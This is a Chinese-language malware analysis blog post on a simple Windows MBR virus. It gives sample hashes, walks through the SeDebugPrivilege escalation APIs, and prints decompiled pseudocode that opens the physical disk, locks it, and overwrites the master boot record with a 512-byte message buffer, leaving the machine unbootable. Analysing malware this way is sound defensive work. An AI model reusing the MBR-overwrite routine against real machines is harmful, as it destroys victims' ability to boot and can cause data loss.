一个简单的MBR病毒

发布者:极安御信
发布于:2023-03-23 12:56

一、病毒简介

文件名称
c18f63a2f3ded440e254fd992f84adb4bed8b0137cc1045d67bbd85b8222b57d
文件类型(Magic)
PE32 executable (console) Intel 80386, for MS Windows
文件大小
36.00KB
SHA256
c18f63a2f3ded440e254fd992f84adb4bed8b0137cc1045d67bbd85b8222b57d
SHA1
d164561158ae4bb75512a34f06521a7203ba64a9
MD5
955b66c722ca993dd11fbe56bbf92525
CRC32
31E79506
SSDEEP
384:ePjkT1e0/tmFfC92xAgl1PjfvjKrC9hW6yilkKzJWt:ojkY0/EF6CXPjfx46Dl/JWt
ImpHash
9a06fce838eff426c6ee75ab22366372

二、环境准备

操作系统

调试工具

Win7x86

IDA

三、静态分析

因为这个病毒很简单,所以没有行为分析,直接看源代码就好了,把样本拖入到PEID中,无壳,VC6++写的:



直接拖到IDA,进入main函数:



可以看到只有俩个函数,先看第一个,参数SeDebugPrivilege是Windows字符权限名称,大概已经知道第一个函数是干嘛的了,进入sub_401000中:



很明显一个提权代码,通过GetCurrentProcess获取当前句柄,然后获取进程访问令牌的句柄,函数原型如下:

BOOL OpenProcessToken(
          HANDLE    ProcessHandle,    //要修改访问权限的进程句柄
          DWORD    DesiredAccess,        //指定你要进行的操作类型
          PHANDLE    TokenHandle       //返回的访问令牌指针
    );

然后获取权限对应的LUID值,这就要用到另外一个API函数LookupPrivilegevalue,其原形如下:

BOOL LookupPrivilegevalue(
LPCTSTR lpSystemName, // system name
LPCTSTR lpName, // privilege name
PLUID lpLuid // locally unique identifier
);
第一个参数是系统的名称,如果是本地系统只要指明为NULL就可以了,第三个参数就是返回LUID的指针,第二个参数就是指明了权限的名称,如“SeDebugPrivilege”。

接下来就是通过AdjustTokenPrivileges修改权限了:

BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, // handle to token
BOOL DisableAllPrivileges, // disabling option
PTOKEN_PRIVILEGES NewState, // privilege information
DWORD BufferLength, // size of buffer
PTOKEN_PRIVILEGES PreviousState, // original state buffer
PDWORD ReturnLength // required buffer size
);
第一个参数是访问令牌的句柄;第二个参数决定是进行权限修改还是除能(Disable)所有权限;第三个参数指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和要进行的操作; 第四个参数是结构PreviousState的长度,如果PreviousState为空,该参数应为NULL;第五个参数也是一个指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息,可空;最后一个参数为实际PreviousState结构返回的大小。

完事返回上层,我们看下一个函数sub_401090:



这里首先是一个内存清空操作,然后对Buffer进行了填充拷贝,我们去看qmemcpy第二个参数:



可以看到一串字符串,L am virus!,** you,接下来看其他函数:

HANDLE __cdecl sub_401090()
{
  HANDLE result; // eax@1
  HANDLE v1; // esi@1
  DWORD BytesReturned; // [sp+8h] [bp-208h]@2
  DWORD NumberOfBytesWritten; // [sp+Ch] [bp-204h]@2
  char Buffer; // [sp+10h] [bp-200h]@1
  char v5; // [sp+11h] [bp-1FFh]@1
  __int16 v6; // [sp+20Dh] [bp-3h]@1
  char v7; // [sp+20Fh] [bp-1h]@1

  memset(&v5, 0, 0x1FCu);
  v6 = 0;
  qmemcpy(&Buffer, &byte_406030, 0x30u);
  HIBYTE(v6) = 85;
  v7 = -86;
  result = CreateFileA(FileName, 0xC0000000, 3u, 0, 3u, 0, 0);
  v1 = result;
  if ( result != (HANDLE)-1 )
  {
    DeviceIoControl(result, 0x90018u, 0, 0, 0, 0, &BytesReturned, 0);
    WriteFile(v1, &Buffer, 0x200u, &NumberOfBytesWritten, 0);
    DeviceIoControl(v1, 0x9001Cu, 0, 0, 0, 0, &BytesReturned, 0);
    CloseHandle(v1);
    ExitProcess(0xFFFFFFFF);
  }
  return result;
}

接下来是一个CreateFileA获取句柄,看看FileName:


这是MBR所在的磁盘驱动器,这里很明显要对MBR进行操作。然后就是通过DeviceIoControl 将控制代码直接发送到指定的设备驱动程序,使相应的设备执行相应的操作。然后哦就是写入操作,把Buffer中的内容写进去,没了。
就俩函数,一个提权,一个写入,我们运行一下试试(当然,这里提权没有成功,):


啥反应没有,然后我们重启计算机就会发现无法正常开机。



声明:该文观点仅代表作者本人,转载请注明来自看雪